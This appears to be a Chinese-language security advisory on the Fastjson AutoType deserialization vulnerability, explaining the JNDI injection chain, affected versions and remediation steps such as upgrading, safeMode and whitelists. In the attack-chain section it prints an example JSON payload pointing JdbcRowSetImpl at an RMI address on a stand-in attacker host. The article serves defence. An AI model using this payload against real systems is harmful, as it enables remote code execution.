Fastjson反序列化远程代码执行漏洞深度分析与应急处置

Fastjson作为一款高性能的Java JSON库,被广泛应用于各类系统中。其反序列化漏洞,尤其是由AutoType机制引发的远程代码执行(RCE)漏洞,曾多次造成严重的安全事件。本文将从漏洞原理、攻击链路、影响版本及应急处置等方面进行深度剖析。IMG_20250713_151408_980.jpg漏洞核心原理:AutoType机制的滥用

Fastjson反序列化漏洞的本质是其AutoType机制的安全缺陷。该机制旨在方便地将JSON字符串还原为指定的Java对象,但攻击者可以利用它来实例化任意类,从而触发危险代码。

1.  @type字段解析

    当Fastjson解析一个包含@type字段的JSON字符串时,它会读取该字段指定的类全限定名(例如com.sun.rowset.JdbcRowSetImpl)。

2.  任意类加载与实例化

    Fastjson会通过类加载器(ClassLoader)加载指定的类,并调用其构造函数创建一个对象实例。

3.  属性注入与危险方法触发

    在创建对象后,Fastjson会继续解析JSON中的其他键值对,并自动调用对应的setter方法将值注入到对象属性中。如果攻击者指定的类中存在危险的setter方法(如JdbcRowSetImpl.setDataSourceName()),并且传入恶意构造的参数,就会在属性注入阶段触发后续的恶意逻辑。

典型攻击链路:JNDI注入

攻击者最常利用AutoType机制与JDK内置的JdbcRowSetImpl类相结合,通过JNDI(Java Naming and Directory Interface)注入实现远程代码执行。

1.  构造恶意Payload

    攻击者构造一个特殊的JSON Payload,指定@type为com.sun.rowset.JdbcRowSetImpl,并将dataSourceName属性设置为一个指向攻击者控制的RMI或LDAP服务器的地址。

        "@type": "com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName": "rmi://attacker.com:8653/Exploit",

        "autoCommit": true

2.  触发JNDI查询

    当目标服务器上的Fastjson处理此Payload时,会调用JdbcRowSetImpl.setDataSourceName()方法。该方法会向dataSourceName指定的地址发起JNDI查询请求。

3.  加载并执行恶意代码

    攻击者控制的RMI/LDAP服务器接收到请求后,会返回一个指向远程恶意Java类的引用(Reference)。目标服务器会下载并加载这个恶意类,并在其实例化时执行其中的静态代码块或构造函数,从而实现远程代码执行(RCE)。

影响版本与风险

Fastjson的反序列化漏洞是一个持续演进的威胁,多个版本都曾受到影响。

*   高危版本: 1.2.48之前的版本普遍存在严重风险,AutoType机制缺乏有效校验,极易被利用。

*   持续对抗: 在1.2.48至1.2.80之间的版本,尽管官方引入了黑白名单等防御机制,但攻击者仍不断发现新的绕过技巧(如利用缓存、数组类型、继承关系等)。

*   安全版本: 官方推荐将1.x系列升级至1.2.83或更高版本,2.x系列升级至2.0.45或更高版本。这些版本对AutoType机制进行了根本性的安全加固。

应急处置与防护建议

面对Fastjson反序列化漏洞,应采取“升级为主,配置为辅”的综合防御策略。

1.  立即升级(首要措施)

    最根本、最有效的解决方案是立即将项目中的Fastjson依赖升级到安全版本。

    *   1.x 系列: 升级至 1.2.83 或更高版本。

    *   2.x 系列: 升级至 2.0.45 或更高版本。

2.  禁用或限制AutoType

    如果业务不依赖AutoType功能,应在全局范围内将其禁用。

    *   全局禁用: 通过代码ParserConfig.getGlobalInstance().setAutoTypeSupport(false);或在JVM启动参数中添加-Dfastjson.autoTypeSupport=false来关闭。

    *   启用安全模式: 在1.2.68及以上版本中,可以启用safeMode,这将完全禁用@type解析,提供最高级别的防护。

 ParserConfig.getGlobalInstance().setSafeMode(true);

3.  配置严格的白名单

    如果业务必须使用AutoType,则必须配置严格的白名单,仅允许反序列化受信任的类。应避免使用通配符,并优先采用白名单而非黑名单策略。

        ParserConfig config = ParserConfig.getGlobalInstance();

    // 仅允许特定包下的类

 config.addAccept("com.yourcompany.model.");

4.  纵深防御与监控

    *   依赖审计: 定期使用mvn dependency:tree等工具检查项目依赖,确保没有间接引入存在漏洞的Fastjson版本。

    *   输入校验: 对所有外部输入的JSON数据进行严格校验。

    *   网络监控: 监控服务器的出站连接,特别是异常的RMI、LDAP等JNDI相关协议的连接请求,以便及时发现攻击行为。

    *   运行时保护: 考虑部署RASP(运行时应用自我保护)或配置WAF(Web应用防火墙)规则,以拦截已知的Fastjson攻击Payload。